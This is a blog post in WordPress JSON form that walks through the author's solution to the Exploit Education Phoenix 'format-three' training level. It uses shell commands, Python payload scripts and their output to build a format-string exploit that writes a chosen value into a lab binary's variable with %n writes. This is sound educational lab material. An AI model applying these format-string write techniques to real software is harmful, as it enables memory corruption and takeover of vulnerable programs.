{"id":579,"date":"2019-07-31T15:17:42","date_gmt":"2019-07-31T19:17:42","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=579"},"modified":"2019-08-16T13:05:04","modified_gmt":"2019-08-16T17:05:04","slug":"exploit-education-phoenix-format-three-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-three-solution\/","title":{"rendered":"Exploit Education | Phoenix | Format Three Solution"},"content":{"rendered":"

The description and source code can be found here:
\nhttp:\/\/exploit.education\/phoenix\/format-two\/<\/a><\/p>\n

This level is very similar to the last level with two main exceptions. Instead of getting input from the command line argument, it’s gotten from stdin and we need to set the changeme<\/strong> variable to a specific value.<\/p>\n

  if (changeme == 0x64457845) {\r\n    puts("Well done, the 'changeme' variable has been changed correctly!");\r\n  } else {\r\n    printf(\r\n        "Better luck next time - got 0x%08x, wanted 0x64457845!\\n", changeme);\r\n  }<\/pre>\n
Immediately, I figure I’d have the same problem here in the amd64 version as I did with the last level:<\/p>\n
$ nm \/opt\/phoenix\/amd64\/format-three | grep changeme\r\n0000000000600a90 B changeme<\/pre>\n
Yup. Between the newline character (0x0a) and the null bytes, this won’t work work for this architecture. Maybe someone smarter than myself can do it. However, for now I’ll stick to the x86 version of this binary. Let’s get the changeme<\/strong> address of that one:<\/p>\n
$ nm \/opt\/phoenix\/i486\/format-three | grep changeme\r\n08049844 B changeme<\/pre>\n
I should be able to work with this address (0x08049844). I’ll start by finding the number of “%x” format types needed to reach the start of the format string:<\/p>\n
$ echo -e "AAAA%x%x%x%x%x%x%x%x%x%x%x%x" | \/opt\/phoenix\/i486\/format-three\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nAAAA000f7f81cf7f7ffb000ffffd7288048556ffffc720ffffc720fff041414141\r\nBetter luck next time - got 0x00000000, wanted 0x64457845!<\/pre>\n
Looks like it’ll take 12 of them. First, I’ll simply replace the “AAAA” with the addess of the changeme<\/strong> variable and replace the last “%x” with “%n”:<\/p>\n
$ echo -e "\\x44\\x98\\x04\\x08%x%x%x%x%x%x%x%x%x%x%x%n" | \/opt\/phoenix\/i486\/format-three\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nD000f7f81cf7f7ffb000ffffd7288048556ffffc720ffffc720fff0\r\nBetter luck next time - got 0x0000003a, wanted 0x64457845!<\/pre>\n
I was able to write 0x3a (58 bytes) to the changeme<\/strong> variable. If you look at the output, count the number of characters (55), and add the 3 unprintable characters (0x98, 0x04, 0x08), the 58 bytes makes sense.<\/p>\n
The objective is to write 0x64457845 to the changeme<\/strong> variable. That equates to 1,682,274,373 bytes, much too large to do with a single write. I’ll do this one byte at a time, starting with the least significant byte. Then I’ll put the address for the next byte right after the first, increment the number of bytes written so far to the appropriate amount, and so on. As I read those last sentences, I realize it’s a horrible explanation. Hopefully, it’ll be more clear if I do this step-by-step.<\/p>\n
Let’s get the first byte to where it needs to be. So far, I got it to 0x3a<\/strong>, now I just need to add another 11 bytes to the output somewhere. The first %x<\/strong> outputs a single zero. By using that and specifying that I want it to display a minimum of 12 characters (%012x<\/strong>), I can add 11 more bytes:<\/p>\n
$ \/opt\/phoenix\/i486\/format-three < <(echo -e "\\x44\\x98\\x04\\x08%012x%x%x%x%x%x%x%x%x%x%x%n")\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nD00000000000000f7f81cf7f7ffb000ffffd7388048556ffffc730ffffc730fff0\r\nBetter luck next time - got 0x00000045, wanted 0x64457845!<\/pre>\n
Perfect. Now I’ll add the address to the next byte and another %n<\/strong> at the end to write to it. However, doing this all on the command prompt is getting a bit ugly. I’ll use a Python script to write the input:<\/p>\n
buf = "\\x44\\x98\\x04\\x08"\r\nbuf += "\\x45\\x98\\x04\\x08"\r\nbuf += "%012x"\r\nbuf += "%x" * 10\r\nbuf += "%n%n"\r\nprint buf<\/pre>\n
$ \/opt\/phoenix\/i486\/format-three < <(python payload.py)\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nDE00000000000000f7f81cf7f7ffb000ffffd7388048556ffffc730ffffc730fff0\r\nBetter luck next time - got 0x00004949, wanted 0x64457845!<\/pre>\n
Now that I’m outputting an extra 4 bytes at the beginning, the first value has gone up to 0x49. I’ll need to lower the %012x<\/strong> to %08x<\/strong> and add some more output between the %n<\/strong> types:<\/p>\n
buf = "\\x44\\x98\\x04\\x08"\r\nbuf += "\\x45\\x98\\x04\\x08"\r\nbuf += "%08x"\r\nbuf += "%x" * 10\r\nbuf += "%n"\r\nbuf += " " * 51\r\nbuf += "%n"\r\nprint buf<\/pre>\n
$ \/opt\/phoenix\/i486\/format-three < <(python payload.py)\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nDE0000000000f7f81cf7f7ffb000ffffd7188048556ffffc710ffffc710fff0\r\nBetter luck next time - got 0x00007845, wanted 0x64457845!<\/pre>\n
Perfect! What this does not show you are all the spaces after the last hex value. But now I’ve got a problem. The next byte needs to be 0x45, which is lower than 0x78. I can’t take bytes away when using %n<\/strong>. So what I’ll do is set the third byte to 0x145. That last digit, the one, will get overwritten when I write to the fourth byte. Again, I’ll need to reduce the %08x to %04x to account for the added 4-byte address:<\/p>\n
buf = "\\x44\\x98\\x04\\x08"\r\nbuf += "\\x45\\x98\\x04\\x08"\r\nbuf += "\\x46\\x98\\x04\\x08"\r\nbuf += "%04x"\r\nbuf += "%x" * 10\r\nbuf += "%n"\r\nbuf += " " * 51\r\nbuf += "%n"\r\nbuf += " " * 205\r\nbuf += "%n"\r\nprint buf<\/pre>\n
$ \/opt\/phoenix\/i486\/format-three < <(python payload.py)\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nDEF000000f7f81cf7f7ffb000ffffd7188048556ffffc710ffffc710fff0\r\n\r\nBetter luck next time - got 0x01457845, wanted 0x64457845!<\/pre>\n
Almost done. The last byte needs to be 0x64. Of course, it’s ok if I use 0x164 and this overflows to the next address space. And again, I’ll lower %04x<\/strong> to %x<\/strong>. There’s just one problem, that reduces my output by 3 bytes, not 4:<\/p>\n
buf = "\\x44\\x98\\x04\\x08"\r\nbuf += "\\x45\\x98\\x04\\x08"\r\nbuf += "\\x46\\x98\\x04\\x08"\r\nbuf += "\\x47\\x98\\x04\\x08"\r\nbuf += "%x" * 11\r\nbuf += "%n"\r\nbuf += " " * 51\r\nbuf += "%n"\r\nbuf += " " * 205\r\nbuf += "%n"\r\nbuf += " " * 31\r\nbuf += "%n"\r\nprint buf<\/pre>\n
$ \/opt\/phoenix\/i486\/format-three < <(python payload.py)\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nDEFG000f7f81cf7f7ffb000ffffd7188048556ffffc710ffffc710fff0\r\n\r\nBetter luck next time - got 0x65467946, wanted 0x64457845!<\/pre>\n
SO close! Now I need to figure out how to reduce the number of bytes outputted by some of those %x<\/strong> types. Each one outputs a 4-byte hex value, which turns out to be 8 bytes of output… Unless there are leading zeros, which it leaves off. If I use a different format type, I can reduce the number of output bytes. My final solution looks like this:<\/p>\n
buf = "\\x44\\x98\\x04\\x08"\r\nbuf += "\\x45\\x98\\x04\\x08"\r\nbuf += "\\x46\\x98\\x04\\x08"\r\nbuf += "\\x47\\x98\\x04\\x08"\r\nbuf += "%02x"\r\nbuf += ("%x"*4) + "%d" + ("%x"*5)\r\nbuf += "%n"\r\nbuf += " " * 51\r\nbuf += "%n"\r\nbuf += " " * 205\r\nbuf += "%n"\r\nbuf += " " * 31\r\nbuf += "%n"\r\nprint buf<\/pre>\n
$ \/opt\/phoenix\/i486\/format-three < <(python payload.py)\r\nWelcome to phoenix\/format-three, brought to you by https:\/\/exploit.education\r\nDEFG0000f7f81cf7f7ffb000-104728048556ffffc710ffffc710fff0\r\n\r\nWell done, the 'changeme' variable has been changed correctly!<\/pre>\n","protected":false},"excerpt":{"rendered":"
This level introduces writing specific values to memory, and how that can be accomplished … Continue readingExploit Education | Phoenix | Format Three Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-579","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/579","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=579"}],"version-history":[{"count":24,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/579\/revisions"}],"predecessor-version":[{"id":669,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/579\/revisions\/669"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=579"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=579"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=579"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}